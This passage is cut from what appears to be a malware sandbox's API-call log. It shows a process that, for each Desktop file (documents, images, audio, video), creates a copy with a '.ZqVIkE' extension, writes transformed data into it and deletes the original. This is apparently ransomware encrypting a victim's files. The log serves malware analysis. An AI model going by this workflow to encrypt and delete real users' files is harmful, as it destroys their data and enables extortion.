lpOverlapped=0x0) returned 1 [0059.214] ReadFile (in: hFile=0x340, lpBuffer=0x125b75d0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b75d0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0059.214] CloseHandle (hObject=0x340) returned 1 [0059.214] WriteFile (in: hFile=0x2ec, lpBuffer=0x269fef8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x269fef8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0059.214] CloseHandle (hObject=0x2ec) returned 1 [0059.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif", lpFilePart=0x0) returned 0x26 [0059.217] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\e5qsghl0ko.gif")) returned 1 [0059.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav.ZqVIkE", lpFilePart=0x0) returned 0x35 [0059.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0059.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\gnqhtwl5zvrsddwd4-.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0059.234] GetFileType (hFile=0x2ec) returned 0x1 [0059.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0059.234] GetFileType (hFile=0x2ec) returned 0x1 [0059.968] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav", lpFilePart=0x0) returned 0x2e [0059.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0059.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\gnqhtwl5zvrsddwd4-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0059.968] GetFileType (hFile=0x340) returned 0x1 [0059.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0059.968] GetFileType (hFile=0x340) returned 0x1 [0059.970] ReadFile (in: hFile=0x340, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0xaf17, lpOverlapped=0x0) returned 1 [0059.978] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0059.978] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0059.979] WriteFile (in: hFile=0x2ec, lpBuffer=0x27876a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x27876a8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0059.980] WriteFile (in: hFile=0x2ec, lpBuffer=0x278a120*, nNumberOfBytesToWrite=0x9f30, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x278a120*, lpNumberOfBytesWritten=0x71ee88*=0x9f30, lpOverlapped=0x0) returned 1 [0059.981] ReadFile (in: hFile=0x340, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0059.981] CloseHandle (hObject=0x340) returned 1 [0059.981] WriteFile (in: hFile=0x2ec, lpBuffer=0x27876a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x27876a8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0059.981] CloseHandle (hObject=0x2ec) returned 1 [0059.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav", lpFilePart=0x0) returned 0x2e [0059.991] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GNqhTWL5zVRSDdWd4-.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\gnqhtwl5zvrsddwd4-.wav")) returned 1 [0059.999] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx.ZqVIkE", lpFilePart=0x0) returned 0x35 [0059.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0059.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\ihxceh4- 6qh6uvan.docx.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0060.006] GetFileType (hFile=0x2ec) returned 0x1 [0060.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0060.006] GetFileType (hFile=0x2ec) returned 0x1 [0061.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx", lpFilePart=0x0) returned 0x2e [0061.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0061.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ihxceh4- 6qh6uvan.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0061.196] GetFileType (hFile=0x340) returned 0x1 [0061.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0061.196] GetFileType (hFile=0x340) returned 0x1 [0061.198] ReadFile (in: hFile=0x340, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x1295b, lpOverlapped=0x0) returned 1 [0061.207] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0061.207] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0061.211] WriteFile (in: hFile=0x2ec, lpBuffer=0x2679d30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2679d30*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0061.213] WriteFile (in: hFile=0x2ec, lpBuffer=0x267c7a8*, nNumberOfBytesToWrite=0x11970, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x267c7a8*, lpNumberOfBytesWritten=0x71ee88*=0x11970, lpOverlapped=0x0) returned 1 [0061.213] ReadFile (in: hFile=0x340, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0061.213] CloseHandle (hObject=0x340) returned 1 [0061.214] WriteFile (in: hFile=0x2ec, lpBuffer=0x2679d30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2679d30*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0061.214] CloseHandle (hObject=0x2ec) returned 1 [0061.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx", lpFilePart=0x0) returned 0x2e [0061.221] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IHXCeH4- 6qh6Uvan.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\ihxceh4- 6qh6uvan.docx")) returned 1 [0061.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx.ZqVIkE", lpFilePart=0x0) returned 0x29 [0061.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0061.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\iydlr.docx.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0061.239] GetFileType (hFile=0x2ec) returned 0x1 [0061.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0061.240] GetFileType (hFile=0x2ec) returned 0x1 [0061.364] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0062.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx", lpFilePart=0x0) returned 0x22 [0062.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0062.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\iydlr.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0062.067] GetFileType (hFile=0x33c) returned 0x1 [0062.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0062.067] GetFileType (hFile=0x33c) returned 0x1 [0062.069] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xb1d4, lpOverlapped=0x0) returned 1 [0062.081] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0062.082] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0062.083] WriteFile (in: hFile=0x2ec, lpBuffer=0x2773518*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2773518*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0062.084] WriteFile (in: hFile=0x2ec, lpBuffer=0x2775f60*, nNumberOfBytesToWrite=0xa1f0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2775f60*, lpNumberOfBytesWritten=0x71ee88*=0xa1f0, lpOverlapped=0x0) returned 1 [0062.084] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0062.084] CloseHandle (hObject=0x33c) returned 1 [0062.085] WriteFile (in: hFile=0x2ec, lpBuffer=0x2773518*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2773518*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0062.085] CloseHandle (hObject=0x2ec) returned 1 [0062.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx", lpFilePart=0x0) returned 0x22 [0062.094] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\iyDlR.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\iydlr.docx")) returned 1 [0062.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi.ZqVIkE", lpFilePart=0x0) returned 0x35 [0062.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0062.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\kjkjiajuqskez-kzip.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0062.108] GetFileType (hFile=0x2ec) returned 0x1 [0062.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0062.108] GetFileType (hFile=0x2ec) returned 0x1 [0063.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi", lpFilePart=0x0) returned 0x2e [0063.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0063.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\kjkjiajuqskez-kzip.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0063.611] GetFileType (hFile=0x33c) returned 0x1 [0063.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0063.611] GetFileType (hFile=0x33c) returned 0x1 [0063.612] ReadFile (in: hFile=0x33c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0xc067, lpOverlapped=0x0) returned 1 [0063.646] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0063.646] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0063.650] WriteFile (in: hFile=0x2ec, lpBuffer=0x2663f08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2663f08*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0063.651] WriteFile (in: hFile=0x2ec, lpBuffer=0x2666980*, nNumberOfBytesToWrite=0xb080, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2666980*, lpNumberOfBytesWritten=0x71ee88*=0xb080, lpOverlapped=0x0) returned 1 [0063.651] ReadFile (in: hFile=0x33c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0063.652] CloseHandle (hObject=0x33c) returned 1 [0063.652] WriteFile (in: hFile=0x2ec, lpBuffer=0x2663f08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2663f08*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0063.652] CloseHandle (hObject=0x2ec) returned 1 [0063.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi", lpFilePart=0x0) returned 0x2e [0063.698] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\KJkjIAjuQSKeZ-kZiP.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\kjkjiajuqskez-kzip.avi")) returned 1 [0063.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav.ZqVIkE", lpFilePart=0x0) returned 0x27 [0063.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0063.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\q5qz.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0063.795] GetFileType (hFile=0x2ec) returned 0x1 [0063.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0063.795] GetFileType (hFile=0x2ec) returned 0x1 [0065.562] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav", lpFilePart=0x0) returned 0x20 [0065.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0065.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\q5qz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0065.563] GetFileType (hFile=0x33c) returned 0x1 [0065.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0065.563] GetFileType (hFile=0x33c) returned 0x1 [0065.564] ReadFile (in: hFile=0x33c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x5313, lpOverlapped=0x0) returned 1 [0065.572] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0065.572] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0065.575] WriteFile (in: hFile=0x2ec, lpBuffer=0x2755798*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2755798*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0065.576] WriteFile (in: hFile=0x2ec, lpBuffer=0x27581e0*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27581e0*, lpNumberOfBytesWritten=0x71ee88*=0x4330, lpOverlapped=0x0) returned 1 [0065.576] ReadFile (in: hFile=0x33c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0065.577] CloseHandle (hObject=0x33c) returned 1 [0065.577] WriteFile (in: hFile=0x2ec, lpBuffer=0x2755798*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2755798*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0065.577] CloseHandle (hObject=0x2ec) returned 1 [0065.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav", lpFilePart=0x0) returned 0x20 [0065.682] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Q5qz.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\q5qz.wav")) returned 1 [0065.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi.ZqVIkE", lpFilePart=0x0) returned 0x2c [0065.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0065.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\wrqq37a2m.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0065.903] GetFileType (hFile=0x2ec) returned 0x1 [0065.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0065.903] GetFileType (hFile=0x2ec) returned 0x1 [0068.000] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi", lpFilePart=0x0) returned 0x25 [0068.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0068.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\wrqq37a2m.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0068.000] GetFileType (hFile=0x33c) returned 0x1 [0068.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0068.000] GetFileType (hFile=0x33c) returned 0x1 [0068.002] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x2e22, lpOverlapped=0x0) returned 1 [0068.008] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0068.009] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0068.012] WriteFile (in: hFile=0x2ec, lpBuffer=0x2639a00*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2639a00*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0068.012] WriteFile (in: hFile=0x2ec, lpBuffer=0x263c458*, nNumberOfBytesToWrite=0x1e40, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x263c458*, lpNumberOfBytesWritten=0x71ee88*=0x1e40, lpOverlapped=0x0) returned 1 [0068.013] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0068.013] CloseHandle (hObject=0x33c) returned 1 [0068.013] WriteFile (in: hFile=0x2ec, lpBuffer=0x2639a00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2639a00*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0068.013] CloseHandle (hObject=0x2ec) returned 1 [0068.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi", lpFilePart=0x0) returned 0x25 [0068.074] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wRQQ37a2M.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\wrqq37a2m.avi")) returned 1 [0068.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png.ZqVIkE", lpFilePart=0x0) returned 0x30 [0068.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0068.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\xnjlx4qtthmia.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0068.212] GetFileType (hFile=0x2ec) returned 0x1 [0068.212] SetThreadErrorMode 